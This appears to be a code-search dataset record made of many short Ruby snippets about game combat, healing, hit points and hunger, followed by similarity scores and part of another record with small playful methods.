"def skill_effect_damage\r\n # Substract damage from HP\r\n last_hp = self.hp\r\n self.hp -= self.damage\r\n return self.hp != last_hp\r\n end",
"def heal\n\t\tif self.weapon == true\n\t\t\tself.hitpoints += (self.faith + self.weapon.mending)\n\t\t\thealth_overflow_check\n\t\t\tself.save!\n\t\telse\n\t\t\tself.hitpoints += self.faith\n\t\t\thealth_overflow_check\n\t\t\tself.save!\n\t\tend\n\tend",
"def heal(amount)\n heal!(amount)\n (@health + amount) <= 100 ? @health += amount : @health = 100\n end",
"def hp_on_kill\n (maxhp * features_sum(:hp_on_kill)).to_i\n end",
"def damaged?\n health < MAX_HEALTH\n end",
"def give_hr\n monster_attackers.each do |attacker|\n if attacker.damage_done > 50 + attacker.player.hr && attacker.player.hr < 100\n attacker.player.update(hr: attacker.player.hr + 1)\n end\n end\n end",
"def guts_hp_recovery\n if actor?\n self.hp += (mhp * (self.actor.guts_hp_recovery_rate * 0.01)).to_i\n else\n self.hp += (mhp * (self.enemy.guts_hp_recovery_rate * 0.01)).to_i\n end\n end",
"def taking_damage_action\n if @warrior.feel(:backward).empty? && @health < 10\n @warrior.walk!(:backward)\n elsif @warrior.feel.empty?\n @warrior.walk!\n elsif @warrior.feel.enemy?\n @warrior.attack!\n end\n end",
"def compute_damage\n super * @weapon_level\n end",
"def chance_heal(hp)\n if rand(100) < @luck\n heal(hp)\n end\n end",
"def max_health(level)\n (self.health + self.health*0.1*(level-1)).to_i\n end",
"def heal(_amount)\n\t\t@current_hp += _amount\n\t\t@current_hp = @hit_points if @current_hp > @hit_points\n\tend",
"def under_attack \n return true if warrior.health < @health\n return false\n end",
"def attack_effect_damage\r\n self.hp -= self.damage\r\n end",
"def damaged\n @hp = @hp - 1\n end",
"def applyHealing(x)\n if (x.base_damage < 0 || \n x.hp_recovery > 0 || x.hp_recovery_rate > 0 ||\n x.mp_recovery > 0 || x.mp_recovery_rate > 0) == @value\n return true\n else\n return false\n end\n end",
"def hp!(n)\n @health_remaining += n\n if @health_remaining > @max_health\n @health_remaining = @max_health\n elsif @health_remaining <= 0\n die!\n @game_state.die!\n end\n end",
"def compute_damage\n\t\treturn rand(1..6) * @weapon_level\n\tend",
"def execute_damage(user)\n fulfill_conditional if hp - @result.hp_damage <= 0\n mrts_conditional_drops_execute_damage(user) \n end",
"def damage\n @damage ||= [(@power * (rand + 0.5)).to_i - @defender.toughness, 0].max\n end",
"def calc_defender_damage(initial_damage, hp_damage)\n dmg = initial_damage - hp_damage\n if guarding?\n dmg /= (super_guard ? 4 : 2)\n end\n dmg\n end",
"def compute_damage\r\n return rand(1..6) * @weapon_level\r\n end",
"def taking_damage?\n if @warrior.health < @health\n true\n else\n false\n end\n end",
"def hit\n @health -= 1\n end",
"def hit\n @health -= 1\n end",
"def compute_damage\n rand(1..6) * @weapon_level\n end",
"def compute_damage\n return rand(1..6) * @weapon_level\n end",
"def compute_damage\n return rand(1..6) * @weapon_level\n end",
"def is_health_point_good()\r\n if @warrior.health < MAX_HEALTH\r\n return false\r\n end\r\n return true\r\n end",
"def slip_damage_effect_base_damage\r\n self.damage = self.maxhp / 10\r\n end",
"def to_hit(armor_class)\n result = 21 - armor_class - [@level, 20].min\n result -= 5 if result > 20\n # Maybe refactor this, it's potentially confusing.\n result -= 1 if @strength > 16\n result\n end",
"def evaluate_attack_with_target(target)\n target.clear_action_results\n target.make_attack_damage_value(battler)\n return target.hp_damage.to_f / [target.hp, 1].max\n end",
"def pika_attack(enemy_hp)\n #randomization\n random = rand(10) + 1 #includes 10\n if random == 1 || random == 2\n puts \"Oh no, Pikachu missed!\".colorize(:yellow)\n elsif random == 3 || random == 4 || random == 5\n enemy_hp = enemy_hp - 2\n puts \"Pikachu used Tail Whip. Enemy's hp is reduced to #{enemy_hp}.\".colorize(:yellow)\n elsif random == 6 || random || 7 || random == 8\n enemy_hp = enemy_hp - 3\n puts \"Pikachu used ThunderShock. Enemy's hp is reduced to #{enemy_hp}.\".colorize(:yellow)\n else\n enemy_hp = enemy_hp - 4\n puts \"Pikachu used Slam. Enemy's hp is reduced to #{enemy_hp}.\".colorize(:yellow)\n end\n return enemy_hp\nend",
"def reduce_HP\n @points -= 10\n end",
"def hero_ability(target)\n case\n when @hero_class == 'druid'\n @attack = 1\n @armour = amour + 1\n when @hero_class == 'hunter'\n target.health = target.health - 2\n when @hero_class == 'mage'\n target.health = target.health - 2\n when @hero_class == 'paladin'\n @battlefield.push(\"Silver Hand Recruit\")\n when @hero_class == 'priest'\n target.health = target.health + 2\n when @hero_class == 'rouge'\n @weapon = \"Dagger Mastery\"\n when @hero_class == 'shaman'\n totems = ['Healing Totem', 'Searinhg Totem', 'Stoneclaw Totem', 'Wrath of Air Totem']\n @battlefield.push(totems.sample)\n when @hero_class == 'warlock'\n darw_card(2)\n @health = @health - 2\n when @hero_class == 'warrior'\n @armour = @armour + 2\n end\n end",
"def search_health_pack\n\t\thealing = rand(1..6)\n\t\tif healing == 1\n\t\t\tputs \"Tu n'as rien trouvé... \"\n\t\telsif healing >= 2 && healing <= 5\n\t\t\tif self.life_points > 50 # Test si les points ajoutés feront passer au dessus de 100 pts\n\t\t\t\tself.life_points = 100\n\t\t\telse\n\t\t\t\tself.life_points += 50\n\t\t\tend\n\t\t\tputs \"Bravo, tu as trouvé un pack de +50 points de vie !\"\n\t\telsif healing == 6\n\t\t\tif self.life_points > 20 # Test si les points ajoutés feront passer au dessus de 100 pts\n\t\t\t\tself.life_points = 100\n\t\t\telse\n\t\t\t\tself.life_points += 80\n\t\t\tend\n\t\t\tputs \"Champagne! Tu as trouvé un pack de +80 points de vie !\"\n\t\tend\n\t\t\n\tend",
"def compute_damage\n rand(1..6) * @weapon_level\n end",
"def enemy_attack(pika_hp)\n random = rand(10) + 1 #includes 10\n if random == 1 || random == 2 || random == 3 || random == 4\n puts \"The enemy's attack missed! Pikachu's hp is #{pika_hp}.\".colorize(:red)\n elsif random == 5 || random == 6\n pika_hp = pika_hp - 1\n puts \"The enemy used Growl. Pikachu's hp is reduced to #{pika_hp}.\".colorize(:red)\n elsif random == 7 || random == 8\n pika_hp = pika_hp - 2\n puts \"The enemy used Quick Attack. Pikachu's hp is reduced to #{pika_hp}.\".colorize(:red)\n else\n pika_hp = pika_hp - 3\n puts \"The enemy used Scratch. Pikachu's hp is reduced to #{pika_hp}.\".colorize(:red)\n end\n return pika_hp\nend",
"def is_health_low()\r\n if @warrior.health >= GOOD_HEALTH\r\n return false\r\n elsif @warrior.health < GOOD_HEALTH\r\n return true\r\n end\r\n end",
"def is_health_low()\r\n if @warrior.health >= GOOD_HEALTH\r\n return false\r\n elsif @warrior.health < GOOD_HEALTH\r\n return true\r\n end\r\n end",
"def slip_damage_effect\n # Set damage\n self.damage = self.maxhp / 10\n # Dispersion\n if self.damage.abs > 0\n amp = [self.damage.abs * 15 / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Subtract damage from HP\n self.hp -= self.damage\n # End Method\n return true\n end",
"def haul\n @totalhaul = @silvercounter * SILVERVAL + @goldcounter * GOLDVAL\n @totalhaul\n end",
"def hunt(square, enemies)\n victim = enemies.min_by { |enemy| @map.distance_between(square.loc, enemy.loc)}\n \n # If enemy is close do the most damage\n return overkill(square, enemies) if @map.distance_between(square.loc, victim.loc) <= 3\n \n # If the enemy is far, move toward it\n return direction_to_square(square, victim)\n end",
"def hit(damage)\n @health -= damage\n if @health <= 0\n @health = 0\n end\n end",
"def damage_potential(warrior, enemy_health)\n distance = @probable_archer_distance \n if distance == nil\n distance = 0\n end\n warrior_attack = 5\n enemy_attack = 3\n warrior_health = warrior.health\n while enemy_health > 0 && warrior_health > 0 do\n if distance == 0\n enemy_health -= warrior_attack\n else\n distance -= 1\n end\n\n if enemy_health > 0\n warrior_health -= enemy_attack\n end\n end\n return warrior.health - warrior_health\n end",
"def determine_damage\n if Random.rand(100) < critical_rate\n [fighter_attack * 2, FightEvent.attack_types['critical']]\n else\n [fighter_attack, FightEvent.attack_types['normal']]\n end\n end",
"def check_item_heal(pokemon)\n return false unless $game_temp.trainer_battle\n is_last = (@enemies.count { |pkmn| !pkmn.dead? }) == 1\n max_hp = pokemon.max_hp\n dhp = max_hp - pokemon.hp\n bag = get_bag(pokemon)\n has_full_restore = bag.contain_item?(:full_restore)\n has_full_restore = false unless is_last or bag.item_quantity(:full_restore) > 1\n has_full_restore = false if dhp < 60 # Don't use the fullrestore at this point\n #> Soin status\n if pokemon.status != 0 and pokemon.hp_rate > 0.5\n if pokemon.poisoned?\n return true if perform_status_heal(bag, has_full_restore, *PoisonHealItems)\n elsif pokemon.burnt?\n return true if perform_status_heal(bag, has_full_restore, *BurnHealItems)\n elsif pokemon.paralyzed?\n return true if perform_status_heal(bag, has_full_restore, *ParalyzeHealItems)\n elsif pokemon.frozen?\n return true if perform_status_heal(bag, has_full_restore, *FreezeHealItems)\n elsif pokemon.asleep?\n return true if perform_status_heal(bag, has_full_restore, *WakeUpItems)\n end\n end\n #> Soin HP\n if pokemon.hp_rate < 0.25\n if dhp > 120 and has_full_restore\n return _stack_add_item(pokemon: pokemon, item_id: :full_restore, bag: bag)\n elsif dhp > 120 and bag.contain_item?(:max_potion)\n return _stack_add_item(pokemon: pokemon, item_id: :max_potion, bag: bag)\n end\n # Test items healing more than 60 HP\n if dhp > 60\n ItemHealingMoreThan60.each do |sym|\n return _stack_add_item(pokemon: pokemon, item_id: sym, bag: bag) if bag.contain_item?(sym)\n end\n end\n # Itest items healing more than 20 HP\n if dhp > 20\n ItemHealingMoreThan20.each do |sym|\n return _stack_add_item(pokemon: pokemon, item_id: sym, bag: bag) if bag.contain_item?(sym)\n end\n end\n ItemHealingHP.each do |sym|\n return _stack_add_item(pokemon: pokemon, item_id: sym, bag: bag) if bag.contain_item?(sym)\n end\n end\n return false\n end",
"def heal()\r\n @warrior.rest!\r\n end",
"def heal()\r\n @warrior.rest!\r\n end",
"def heal()\r\n @warrior.rest!\r\n end",
"def heal()\r\n @warrior.rest!\r\n end",
"def eat(food)\n if food.veggie? && !@carnivore\n @hunger -= 10\n elsif food.meat? && @carnivore\n @hunger -= 10\n end\n @hunger = 0 if @hunger < 0\n end",
"def hit( damage )\n p_up = rand( charisma )\n if p_up % 9 == 7\n @life += p_up / 4\n puts \"[#{ self.class } magick powers up #{ p_up }!]\"\n end\n @life -= damage\n puts \"[#{ self.class } has died.]\" if @life <= 0\n end",
"def hungry?\n if @hungry\n puts \"I'm hungry!\"\n else\n puts \"I'm full :)\"\n end\n @hungry\n end",
"def hp_decriment(opponent)\n\t\thp_will_change!\n\t\tputs \"damage taken!\"\n\t\t# self.hp -= 1 \n\t\tself.hp -= (1 + opponent.attack/self.defense)\n\t\tif self.hp <=0 \n\t\t\tputs \"Fatality!\"\n\t\t\tself.lives_decriment()\n\t\tend\n\t\tself.save!\n\tend",
"def hp_rate\r\n @hp.to_f / mhp\r\n end",
"def base_maxhp\n return enemy.maxhp\n end",
"def heal(health_points)\n @health += (health_points * 1.2).to_i\n end",
"def getHealth()\n return @hp\n end",
"def getHealth()\n return @hp\n end",
"def evaluate_skill_with_target(target)\n target.clear_action_results\n target.make_obj_damage_value(battler, skill)\n if skill.for_opponent?\n return target.hp_damage.to_f / [target.hp, 1].max\n else\n recovery = [-target.hp_damage, target.maxhp - target.hp].min\n return recovery.to_f / target.maxhp\n end\n end",
"def increment_of_health(user)\n (user.max_health / 15) + 5 * (difficulty - 1).round\n end",
"def initialize hp, *params\n super params\n @hp = hp.abs\n @hp = @hp > MAX_HITPOINT ? MAX_HITPOINT : @hp \n end",
"def hit \n \n # Determine and output the result of the damage inflicted\n damage = rand(0..@power)\n\n # Determine a critical hit\n critical_hit_chance = rand(5)\n if damage != 0 && critical_hit_chance == 4\n critical = true\n damage *= 2\n end\n\n if damage == 0\n puts \"#{@name} misses completely, doing #{damage} damage.\"\n elsif critical\n puts \"CRITICAL HIT!! #{@name} delivers #{damage} damage.\"\n elsif damage < 0.33 * @power\n puts \"#{@name} delivers a weak hit of #{damage} damage.\"\n elsif damage > 0.67 * @power\n puts \"#{@name} delivers a powerful hit of #{damage} damage!\"\n else\n puts \"#{@name} does #{damage} damage.\"\n end\n\n puts \"\"\n\n return damage\n\n end",
"def hit(damage)\n @hp -= damage\n end",
"def taking_range_damage?(warrior)\n warrior.health < @last_health && warrior.feel.empty?\n end",
"def post_monster_health(monster_damage, current_health)\n current_health = current_health - monster_damage\n current_health + 1\n # had to add one so players don't get mad about\n # turn taking away 1 health point AND meeting monster\n end",
"def make_damage(hero, damage)\n hero.hp_pool -= damage\n end",
"def decrement_of_health(user)\n -((user.max_health / 10) + 5 * (4 - difficulty)).round\n end",
"def compute_damage\nreturn rand(1..6) * @weapon_lvl\nend",
"def attack(user)\n # Variable to see how many damage instances will be\n damage_instances_count = 0\n\n # Search within weapons for damage bonus\n user.weapons.each do |weapon|\n weapon.bonuses.each do |bonus|\n if bonus.bonus_type == 'damage'\n damage_instances_count = bonus.multiplier\n end\n end\n end\n\n # For each damage bonus we will calculate the attack again\n damage_instances = (1..damage_instances_count).map do\n # Values from weapons\n weapon_attack_points = 0\n weapon_attack_modifiers = 0\n weapon_attack_recoil_modifier = 0\n\n weapon_defense_points = 0\n weapon_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.weapons.each do |weapon|\n weapon_attack_points += weapon.attack_points\n weapon_defense_points += weapon.defense_points\n\n weapon.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n weapon_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'recoil'\n weapon_attack_recoil_modifier += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n weapon_defense_modifiers += bonus.multiplier\n end\n end\n end\n\n # Values from rings\n rings_attack_points = 0\n rings_attack_modifiers = 0\n\n rings_defense_points = 0\n rings_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.rings.each do |ring|\n rings_attack_points += ring.attack_points\n rings_defense_points += ring.defense_points\n\n ring.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n rings_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n rings_defense_modifiers += bonus.multiplier\n end\n end\n end\n\n # Values from helmets\n helmet_attack_points = user.helmet.attack_points\n helmet_attack_modifiers = 0\n\n helmet_defense_points = user.helmet.defense_points\n helmet_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.helmet.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n helmet_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n helmet_defense_modifiers += bonus.multiplier\n end\n end\n\n # Values from body armor\n body_armor_attack_points = user.body_armor.attack_points\n body_armor_attack_modifiers = 0\n\n body_armor_defense_points = user.body_armor.defense_points\n body_armor_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.body_armor.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n body_armor_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n body_armor_defense_modifiers += bonus.multiplier\n end\n end\n\n # Values from boots\n boots_attack_points = user.boots.attack_points\n boots_attack_modifiers = 0\n\n boots_defense_points = user.boots.defense_points\n boots_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.boots.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n boots_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n boots_defense_modifiers += bonus.multiplier\n end\n end\n\n # Values from gloves\n gloves_attack_points = user.gloves.attack_points\n gloves_attack_modifiers = 0\n\n gloves_defense_points = user.gloves.defense_points\n gloves_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.gloves.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n gloves_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n gloves_defense_modifiers += bonus.multiplier\n end\n end\n\n # Values from amulet\n amulet_attack_points = user.amulet.attack_points\n amulet_attack_modifiers = 0\n\n amulet_defense_points = user.amulet.defense_points\n amulet_defense_modifiers = 0\n\n # Finding bonuses and adding to the list\n user.amulet.bonuses.each do |bonus|\n if bonus.bonus_type == 'attack'\n amulet_attack_modifiers += bonus.multiplier\n elsif bonus.bonus_type == 'defense'\n amulet_defense_modifiers += bonus.multiplier\n end\n end\n\n # Making a sum of all the points from the itens\n attack_points_sum = weapon_attack_points + rings_attack_points + helmet_attack_points + body_armor_attack_points + boots_attack_points + gloves_attack_points + amulet_attack_points\n defense_points_sum = weapon_defense_points + rings_defense_points + helmet_defense_points + body_armor_defense_points + boots_defense_points + gloves_defense_points + amulet_defense_points\n\n # Making a sum of all the bonuses from the items\n attack_modifiers_sum = weapon_attack_modifiers + rings_attack_modifiers + helmet_attack_modifiers + body_armor_attack_modifiers + boots_attack_modifiers + gloves_attack_modifiers + amulet_attack_modifiers\n defense_modifiers_sum = weapon_defense_modifiers + rings_defense_modifiers + helmet_defense_modifiers + body_armor_defense_modifiers + boots_defense_modifiers + gloves_defense_modifiers + amulet_defense_modifiers\n\n # Calculating damage, defense and recoil\n attack_total = attack_points_sum * attack_modifiers_sum\n defense_total = defense_points_sum * defense_modifiers_sum\n recoil_total = (attack_total * weapon_attack_recoil_modifier * ((attack_total / (defense_total + (E ** -attack_total))) / 100)).floor\n\n # Creating a new DamageInstance\n DamageInstance.new(attack_total, recoil_total)\n end\n\n # Returning damage instances\n damage_instances\n end",
"def wound(damage)\n if (@shield >= damage)\n @shield -= damage\n else \n remaining_damage = damage - @shield\n @shield = 0\n if (@health - remaining_damage) > 0 \n @health -= remaining_damage\n else\n @health = 0\n end\n end\nend",
"def hungry?\n @stuffInBelly <= 2\n end",
"def take_damage(damage)\n if (@health - damage <= 0)\n @is_alive = false\n @health = 0\n else\n @health -= damage\n end\n end",
"def attack_effect_base_damage(attacker)\r\n atk = [attacker.atk - self.pdef / 2, 0].max\r\n self.damage = atk * (20 + attacker.str) / 20\r\n end",
"def health_damage damage, check\n if check\n @health -= damage\n end\n end",
"def attack(opponent)\n amplifier = (rand * DamageVariable).ceil\n dmg = 0\n if amplifier + strength > opponent.defense || amplifier == DamageVariable\n dmg = strength * (rand + 0.5)\n dmg -= opponent.defense\n dmg = 1 if dmg < 0\n end\n dmg.ceil\n end",
"def attack_effect(attacker)\n # Clear critical flag\n self.critical = false\n # First hit detection\n hit_result = (rand(100) < attacker.hit)\n # If hit occurs\n if hit_result == true\n # Calculate basic damage\n atk = [attacker.atk - self.pdef / 2, 0].max\n self.damage = atk * (20 + attacker.str) / 20\n # Element correction\n self.damage *= elements_correct(attacker.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Critical correction\n if rand(100) < 4 * attacker.dex / self.agi\n self.damage *= 2\n self.critical = true\n end\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if self.damage.abs > 0\n amp = [self.damage.abs * 15 / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / attacker.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n end\n # If hit occurs\n if hit_result == true\n # State Removed by Shock\n remove_states_shock\n # Substract damage from HP\n self.hp -= self.damage\n # State change\n @state_changed = false\n states_plus(attacker.plus_state_set)\n states_minus(attacker.minus_state_set)\n # When missing\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n # Clear critical flag\n self.critical = false\n end\n # End Method\n return true\n end",
"def hungry?\n @stuff_in_belly <= 2\n end",
"def hungry?\n @stuff_in_belly <= 2\n end",
"def hungry?\n @stuff_in_belly <= 2\n end",
"def evaluate_item_with_target(target)\r\n target.result.clear\r\n target.make_damage_value(subject, item)\r\n if item.for_opponent?\r\n return target.result.hp_damage.to_f / [target.hp, 1].max\r\n else\r\n recovery = [-target.result.hp_damage, target.mhp - target.hp].min\r\n return recovery.to_f / target.mhp\r\n end\r\n end",
"def skill_hp(id)\n if Skill_Hp[id]['integer'] != nil\n return true if eval(\"self.hp #{Skill_Hp[id]['integer']}\")\n end\n if Skill_Hp[id]['rate'] != nil\n return true if eval(\"(self.hp * 100 / self.maxhp) #{Skill_Hp[id]['rate']}\")\n end\n return false\n end",
"def behavior_hungry\n @world.food.each do |food|\n if distance_from_point(food.position) < (food.quantity + ROID_SIZE*5)\n @delta -= self.position - food.position\n end \n if distance_from_point(food.position) <= food.quantity + 5\n eat food\n end \n end \n end",
"def damages(user, target, rng)\n @critical = logic.calc_critical_hit(user, target, critical_rate)\n # Reset the effectiveness\n @effectiveness = 1\n # (((((((Level * 2 / 5) + 2) * BasePower * [Sp]Atk / 50) / [Sp]Def) * Mod1) + 2) *\n # CH * Mod2 * R / 100) * STAB * Type1 * Type2 * Mod3)\n damage = user.level * 2 / 5 + 2\n damage = (damage * calc_base_power(user, target)).floor\n damage = (damage * calc_sp_atk(user, target)).floor\n damage /= 50\n damage = (damage / calc_sp_def(user, target)).floor\n damage = (damage * calc_mod1(user, target)).floor\n damage += 2\n damage = (damage * calc_ch(user)).floor\n damage = (damage * calc_mod2(user, target)).floor\n damage *= rng.rand(calc_r_range)\n damage /= 100\n damage = (damage * calc_stab(user)).floor\n damage = (damage * calc_type_n_multiplier(target, :type1)).floor\n damage = (damage * calc_type_n_multiplier(target, :type2)).floor\n damage = (damage * calc_type_n_multiplier(target, :type3)).floor\n return (damage * calc_mod3(user, target)).floor\n end",
"def hungry?\r\n @food <= 2\r\n end",
"def hit\n self.damage = damage + 1\n check_boat\n end",
"def take_damage(damage)\n damage_taken = 0\n dodge_roll = rand((self.agility + ((self.dodgeFlag && 1 || 0) * DODGE_ACTIVATE_VALUE)) .. DODGE_RANGE_UPPER)\n if !dodge_roll.between?(DODGE_RANGE_LOWER, DODGE_RANGE_UPPER)\n damage_taken = damage - (damage * (self.defense / 100.0)).to_i\n self.health -= damage_taken\n self.dodgeFlag = false;\n self.save\n end\n damage_taken\n end",
"def heal_overdrive(user, skill = nil)\n if user.actor? and user.target_damage[self] < 0 and skill.power < 0\n user.overdrive += calc_od_change(user.target_damage[self].abs, user.overdrive_gain['Heal'], skill).to_i\n elsif self.actor? and user.target_damage[self] < 0\n self.overdrive += calc_od_change(user.target_damage[self].abs, self.overdrive_gain['Recover']).to_i\n end\n end",
"def attack_effect_dispersion\r\n if self.damage.abs > 0\r\n amp = [self.damage.abs * 15 / 100, 1].max\r\n self.damage += rand(amp+1) + rand(amp+1) - amp\r\n end\r\n end",
"def is_health_point_low()\r\n if @warrior.health <= LOW_HEALTH && @warrior.health != MAX_HEALTH\r\n return true\r\n end\r\n return false\r\n end",
"def skill_effect(user, skill)\n # Clear critical flag\n self.critical = false\n # If skill scope is for ally with 1 or more HP, and your own HP = 0,\n # or skill scope is for ally with 0, and your own HP = 1 or more\n if ((skill.scope == 3 or skill.scope == 4) and self.hp == 0) or\n ((skill.scope == 5 or skill.scope == 6) and self.hp >= 1)\n # End Method\n return false\n end\n # Clear effective flag\n effective = false\n # Set effective flag if common ID is effective\n effective |= skill.common_event_id > 0\n # First hit detection\n hit = skill.hit\n if skill.atk_f > 0\n hit *= user.hit / 100\n end\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n # If hit occurs\n if hit_result == true\n # Calculate power\n power = skill.power + user.atk * skill.atk_f / 100\n if power > 0\n power -= self.pdef * skill.pdef_f / 200\n power -= self.mdef * skill.mdef_f / 200\n power = [power, 0].max\n end\n # Calculate rate\n rate = 20\n rate += (user.str * skill.str_f / 100)\n rate += (user.dex * skill.dex_f / 100)\n rate += (user.agi * skill.agi_f / 100)\n rate += (user.int * skill.int_f / 100)\n # Calculate basic damage\n self.damage = power * rate / 20\n # Element correction\n self.damage *= elements_correct(skill.element_set)\n self.damage /= 100\n # If damage value is strictly positive\n if self.damage > 0\n # Guard correction\n if self.guarding?\n self.damage /= 2\n end\n end\n # Dispersion\n if skill.variance > 0 and self.damage.abs > 0\n amp = [self.damage.abs * skill.variance / 100, 1].max\n self.damage += rand(amp+1) + rand(amp+1) - amp\n end\n # Second hit detection\n eva = 8 * self.agi / user.dex + self.eva\n hit = self.damage < 0 ? 100 : 100 - eva * skill.eva_f / 100\n hit = self.cant_evade? ? 100 : hit\n hit_result = (rand(100) < hit)\n # Set effective flag if skill is uncertain\n effective |= hit < 100\n end\n # If hit occurs\n if hit_result == true\n # If physical attack has power other than 0\n if skill.power != 0 and skill.atk_f > 0\n # State Removed by Shock\n remove_states_shock\n # Set to effective flag\n effective = true\n end\n # Substract damage from HP\n last_hp = self.hp\n self.hp -= self.damage\n effective |= self.hp != last_hp\n # State change\n @state_changed = false\n effective |= states_plus(skill.plus_state_set)\n effective |= states_minus(skill.minus_state_set)\n # If power is 0\n if skill.power == 0\n # Set damage to an empty string\n self.damage = \"\"\n # If state is unchanged\n unless @state_changed\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n end\n end\n # If miss occurs\n else\n # Set damage to \"Miss\"\n self.damage = \"Miss\"\n end\n # If not in battle\n unless $game_temp.in_battle\n # Set damage to nil\n self.damage = nil\n end\n # End Method\n return effective\n end",
"def hit(opponent)\n opponent.health -= self.power\n end",
"def hungry?\n\t @stuff_in_belly <= 2\n\tend"
] |
[
"0.75002056",
"0.7095083",
"0.7081408",
"0.6958044",
"0.69507575",
"0.68810934",
"0.6880237",
"0.6843405",
"0.68217933",
"0.6779654",
"0.6778553",
"0.67660284",
"0.67170787",
"0.6700179",
"0.66936404",
"0.66322154",
"0.66320914",
"0.6614127",
"0.6603931",
"0.6598512",
"0.65821725",
"0.65707046",
"0.65660673",
"0.6559058",
"0.65524113",
"0.65513116",
"0.6547805",
"0.6545344",
"0.6529833",
"0.6524421",
"0.6524421",
"0.65124315",
"0.65031725",
"0.65031725",
"0.6495484",
"0.64908874",
"0.64741796",
"0.6471504",
"0.6462749",
"0.6460965",
"0.64588106",
"0.64564407",
"0.64551204",
"0.64529157",
"0.64437926",
"0.64437926",
"0.6433321",
"0.64237607",
"0.6421726",
"0.640677",
"0.63977313",
"0.6388828",
"0.63885015",
"0.63878644",
"0.63878644",
"0.63878644",
"0.63878644",
"0.6387174",
"0.6385745",
"0.6373373",
"0.6368927",
"0.63573647",
"0.6346771",
"0.6344984",
"0.63383615",
"0.63383615",
"0.6336274",
"0.63157505",
"0.6312396",
"0.6304962",
"0.62947863",
"0.62946874",
"0.628862",
"0.62774354",
"0.6271327",
"0.62596",
"0.62549394",
"0.624744",
"0.62407607",
"0.6238476",
"0.62369716",
"0.6232923",
"0.62298506",
"0.6226217",
"0.62210774",
"0.62210774",
"0.62210774",
"0.6210137",
"0.61992663",
"0.6199259",
"0.6192607",
"0.61907834",
"0.6188233",
"0.61767167",
"0.61749154",
"0.6169342",
"0.61667126",
"0.6165198",
"0.6156811",
"0.61429715"
] |
0.75795424
|
0
|
We eat whatever is here
|
def eat(food)
if food.veggie? && !@carnivore
@hunger -= 10
elsif food.meat? && @carnivore
@hunger -= 10
end
@hunger = 0 if @hunger < 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def bye; end",
"def eat_and_bake\n puts bake\n eat\n end",
"def does\n puts \"ALL THE THINGESSSS!!!eleventy\"\nend",
"def eat\n puts \"split in half\"\n puts \"now eat it!\"\n super\n end",
"def eat\n puts \"Eating the oreo cookie~~\"\n super\n end",
"def eat\n \"Nom. Nom. Nom.\"\n end",
"def eat\n puts \"From Oreo\"\n super\n end",
"def bark\n say('ouah ouah')\n nil\n end",
"def buzzword; end",
"def buzzword; end",
"def eat(prey)\n @stomach.push(prey)\n end",
"def eat\n @hungry = false\n end",
"def eat\n @hungry = false\n end",
"def eat\n @hungry = false\n end",
"def hammer\n\t\tputs \"A nice gentle bangabang\"\n\tend",
"def scream(words)\n\twords = words + \"!!!!\"\n\treturn\n\tputs words\nend",
"def cartman_hates(thing)\n\twhile true\n puts \"What's there to hate about #{thing}?\"\nend end",
"def work_out\n self.happiness = @happiness + 2\n self.hygiene = @hygiene - 3\n \"♪ another one bites the dust ♫\"\n end",
"def animals\n puts \"I love animals\"\n yield\n puts \"and also cats\"\nend",
"def cartman_hates(thing)\n\twhile true\n \tputs \"What's there to hate about #{thing}?\"\n end\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end # fix\nend",
"def faint; end",
"def faint; end",
"def work_out\n self.happiness += 2\n self.hygiene -= 3\n return \"♪ another one bites the dust ♫\" \n end",
"def eat\n # this will give an error because a isn't defined in the eat method\n # puts a\n puts \"Yummy!\"\n end",
"def handle_typos_1(doors)\n\tputs \"Man you should make a proper decision or learn how to type!\".upcase\n\tputs \"Try again\"\n\tputs \"> \"\n\tdoor_choose(doors)\nend",
"def catch_phrase; end",
"def catch_phrase; end",
"def lol_wut\n puts \"lol wut\"\n yield(\"Dave\",\"lol\")\n yield(\"Andy\",\"wut\")\n puts \"no more luls\"\nend",
"def code_like_crazy\r\n puts \"I'm crushing some code!\"\r\n end",
"def scream(words) \n\t\twords = words + \"!!!!\" \n\t\treturn\n\t\tputs words \n\tend",
"def scream(words)\n\twords = words + \"!!!!\"\n return\n puts words\nend",
"def eat\n puts 'Start eating'\n end",
"def who_am_i\n adjective = yield\n puts \"I am very #{adjective}\"\nend",
"def who_am_i\n adjective = yield\n puts \"I am very #{adjective}\"\nend",
"def who_am_i\n adjective = yield\n puts \"I am very #{adjective}\"\nend",
"def eat\n p \"Nom nom nom nom\"\nend",
"def spice; end",
"def grab_food\n\tputs 'grabbing some food'\n\tputs 'and it’s good!'\nend",
